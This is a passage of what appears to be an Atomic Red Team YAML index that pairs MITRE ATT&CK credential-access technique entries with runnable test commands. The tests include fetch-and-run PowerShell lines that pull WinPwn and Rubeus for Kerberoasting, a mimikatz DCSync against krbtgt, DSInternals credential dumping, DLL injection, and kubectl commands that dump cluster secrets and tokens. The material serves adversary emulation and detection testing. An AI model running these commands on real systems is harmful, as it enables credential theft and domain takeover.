to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output the SPNs for the domain in question.\n" supported_platforms: - windows input_arguments: domain_name: description: The Domain Name to lookup against type: string default: "%USERDNSDOMAIN%" dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' executor: command: "Add-Type -AssemblyName System.IdentityModel \nsetspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } \n" name: powershell - name: WinPwn - Kerberoasting auto_generated_guid: 78d10e20-c874-45f2-a9df-6fea0120ec27 description: Kerberoasting technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Kerberoasting -consoleoutput -noninteractive name: powershell - name: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus auto_generated_guid: 29094950-2c96-4cbd-b5e4-f7c65079678f description: PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn supported_platforms: - windows executor: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1') Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap" name: powershell T1003.006: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - ExtraHop - Vincent Le Toux object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163 type: attack-pattern created: '2020-02-11T18:45:34.293Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1003.006 url: https://attack.mitre.org/techniques/T1003/006 - url: https://msdn.microsoft.com/library/cc228086.aspx description: Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017. source_name: Microsoft DRSR Dec 2017 - url: https://msdn.microsoft.com/library/dd207691.aspx description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017. source_name: Microsoft GetNCCChanges - url: https://wiki.samba.org/index.php/DRSUAPI description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. source_name: Samba DRSUAPI - url: https://source.winehq.org/WineAPI/samlib.html description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017. source_name: Wine API samlib.dll - url: https://adsecurity.org/?p=1729 description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017. source_name: ADSecurity Mimikatz DCSync - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017. source_name: Harmj0y Mimikatz and DCSync - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM description: Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017. source_name: InsiderThreat ChangeNTLM July 2017 - url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017. source_name: GitHub Mimikatz lsadump Module - url: https://msdn.microsoft.com/library/cc237008.aspx description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017. source_name: Microsoft NRPC Dec 2017 - url: https://msdn.microsoft.com/library/cc245496.aspx description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017. source_name: Microsoft SAMR - url: https://adsecurity.org/?p=1729 description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017. source_name: AdSecurity DCSync Sept 2015 - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017. source_name: Harmj0y DCSync Sept 2015 modified: '2022-04-25T14:00:00.188Z' name: 'OS Credential Dumping: DCSync' description: |- Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: |- Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015) Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Object Access' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1003.006 atomic_tests: - name: DCSync (Active Directory) auto_generated_guid: 129efd28-8497-4c87-a1b0-73b9a870ca3e description: | Active Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database. Works against a remote Windows Domain Controller using the replication protocol. Privileges required: domain admin or domain controller account (by default), or any other account with required rights. [Reference](https://adsecurity.org/?p=1729) supported_platforms: - windows input_arguments: domain: description: Targeted Active Directory domain type: string default: "%userdnsdomain%" user: description: Targeted user type: string default: krbtgt mimikatz_path: description: Mimikatz windows executable type: path default: "%tmp%\\mimikatz\\x64\\mimikatz.exe" dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: name: command_prompt elevation_required: false command: '#{mimikatz_path} "lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}" "exit" ' - name: Run DSInternals Get-ADReplAccount auto_generated_guid: a0bced08-3fc5-4d8b-93b7-e8344739376e description: "The following Atomic will run Get-ADReplAccount from DSInternals.\nUpon successful execution, domain and credentials will appear in stdout. \n[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellarParticle.\nhttps://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/\n" supported_platforms: - windows input_arguments: logonserver: description: ComputerName argument default %logonserver% type: string default: $ENV:logonserver.TrimStart("\") dependency_executor_name: powershell dependencies: - description: 'DSInternals must be installed ' prereq_command: | $RequiredModule = Get-Module -Name DSInternals -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['DSInternals']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name DSInternals -Scope CurrentUser -Force ' executor: command: 'Get-ADReplAccount -All -Server #{logonserver} ' name: powershell elevation_required: false T1556: technique: modified: '2024-04-11T21:51:44.851Z' name: Modify Authentication Process description: |- Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Chris Ross @xorrior x_mitre_deprecated: false x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - Network - Azure AD - Google Workspace - IaaS - Office 365 - SaaS x_mitre_version: '2.4' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Process: Process Access' - 'Logon Session: Logon Session Creation' - 'Active Directory: Active Directory Object Modification' - 'User Account: User Account Authentication' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Creation' - 'File: File Creation' - 'User Account: User Account Modification' - 'File: File Modification' - 'Module: Module Load' - 'Cloud Service: Cloud Service Modification' - 'Windows Registry: Windows Registry Key Modification' type: attack-pattern id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84 created: '2020-02-11T19:01:56.887Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556 external_id: T1556 - source_name: Clymb3r Function Hook Passwords Sept 2013 description: Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017. url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ - source_name: Xorrior Authorization Plugins description: Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021. url: https://xorrior.com/persistent-credential-theft/ - source_name: Dell Skeleton description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019. url: https://www.secureworks.com/research/skeleton-key-malware-analysis - source_name: dump_pwd_dcsync description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021. url: https://adsecurity.org/?p=2053 - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1056.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6 type: attack-pattern created: '2020-02-11T19:01:15.930Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1056.004 url: https://attack.mitre.org/techniques/T1056/004 - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017. url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918 - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. source_name: Microsoft Hook Overview - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.' source_name: Adlice Software IAT Hooks Oct 2014 - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.' source_name: MWRInfoSecurity Dynamic Hooking 2015 - url: https://www.exploit-db.com/docs/17802.pdf description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017. source_name: HighTech Bridge Inline Hooking Sept 2011 - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. source_name: Volatility Detecting Hooks Sept 2012 - url: https://github.com/prekageo/winhook description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. source_name: PreKageo Winhook Jul 2011 - url: https://github.com/jay/gethooks description: Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017. source_name: Jay GetHooks Sept 2011 - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ description: Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017. source_name: Zairon Hooking Dec 2006 - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.' source_name: EyeofRa Detecting Hooking June 2017 - url: http://www.gmer.net/ description: GMER. (n.d.). GMER. Retrieved December 12, 2017. source_name: GMER Rootkits - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017. source_name: Microsoft Process Snapshot - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis description: Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017. source_name: StackExchange Hooks Jul 2012 modified: '2022-04-25T14:00:00.188Z' name: 'Input Capture: Credential API Hooking' description: | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: |- Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity. Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Metadata' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1056.004 atomic_tests: - name: Hook PowerShell TLS Encrypt/Decrypt Messages auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33 description: 'Hooks functions in PowerShell to read TLS Communications ' supported_platforms: - windows input_arguments: file_name: description: Dll To Inject type: path default: PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll server_name: description: TLS Server To Test Get Request type: url default: https://www.example.com dependency_executor_name: powershell dependencies: - description: 'T1056.004x64.dll must exist on disk at specified location (#{file_name}) ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing executor: command: | mavinject $pid /INJECTRUNNING "#{file_name}" Invoke-WebRequest #{server_name} -UseBasicParsing name: powershell elevation_required: true T1552.007: technique: modified: '2023-10-31T14:00:00.188Z' name: Kubernetes List Secrets description: "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Center for Threat-Informed Defense (CTID) - Jay Chen, Palo Alto Networks - Yossi Weizman, Azure Defender Research Team x_mitre_deprecated: false x_mitre_detection: |- Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs. It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Containers x_mitre_version: '1.2' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436 created: '2021-03-31T14:01:52.321Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/007 external_id: T1552.007 - source_name: Unit 42 Unsecured Docker Daemons description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021. url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/ - source_name: Docker API description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021. url: https://docs.docker.com/engine/api/v1.41/ - source_name: Kubernetes API description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1552.007 atomic_tests: - name: List All Secrets auto_generated_guid: 31e794c4-48fd-4a76-aca4-6587c155bc11 description: | A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster. [More information about secrets](https://kubernetes.io/docs/concepts/configuration/secret/). This test will make a request to the Kubernetes api at the `/api/v1/secrets` endpoint requesting every secret stored within the cluster. supported_platforms: - containers dependencies: - description: 'kubectl must be installed ' prereq_command: 'which kubectl ' get_prereq_command: 'echo "kubectl not installed, please install kubectl (https://kubernetes.io/docs/tasks/tools/)" ' executor: command: 'kubectl get secrets --all-namespaces ' name: bash elevation_required: false - name: ListSecrets auto_generated_guid: 43c3a49d-d15c-45e6-b303-f6e177e44a9a description: 'A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services. ' supported_platforms: - containers input_arguments: namespace: description: K8s namespace to list type: string default: default dependencies: - description: 'kubectl must be installed ' get_prereq_command: 'echo "kubectl must be installed manually" ' prereq_command: 'which kubectl ' executor: command: 'kubectl get secrets -n #{namespace} ' name: bash elevation_required: false - name: Cat the contents of a Kubernetes service account token file auto_generated_guid: 788e0019-a483-45da-bcfe-96353d46820f description: 'Access the Kubernetes service account access token stored within a container in a cluster. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: Verify docker is installed. prereq_command: 'which docker ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker ' get_prereq_command: 'sudo systemctl start docker ' - description: Verify kind is in the path. prereq_command: 'which kind ' get_prereq_command: | curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64 chmod +x ./kind mv kind /usr/bin/kind - description: Verify kind-atomic-cluster is created prereq_command: 'sudo kind get clusters ' get_prereq_command: 'sudo kind create cluster --name atomic-cluster ' - description: Verify kubectl is in path prereq_command: 'which kubectl ' get_prereq_command: | curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" chmod +x ./kubectl mv kubectl /usr/bin/kubectl - description: Verify atomic-pod is running. prereq_command: 'kubectl --context kind-atomic-cluster get pods |grep atomic-pod ' get_prereq_command: 'kubectl --context kind-atomic-cluster run atomic-pod --image=alpine --command -- sleep infinity ' executor: command: 'kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token ' name: sh cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-pod ' T1556.004: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd type: attack-pattern created: '2020-10-19T17:58:04.155Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.004 url: https://attack.mitre.org/techniques/T1556/004 - source_name: Mandiant - Synful Knock url: https://www.mandiant.com/resources/synful-knock-acis description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Image File Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020. modified: '2022-05-11T14:00:00.188Z' name: Network Device Authentication description: |- Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] discovery: T1033: technique: modified: '2023-09-29T19:50:06.736Z' name: System Owner/User Discovery description: |- Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network 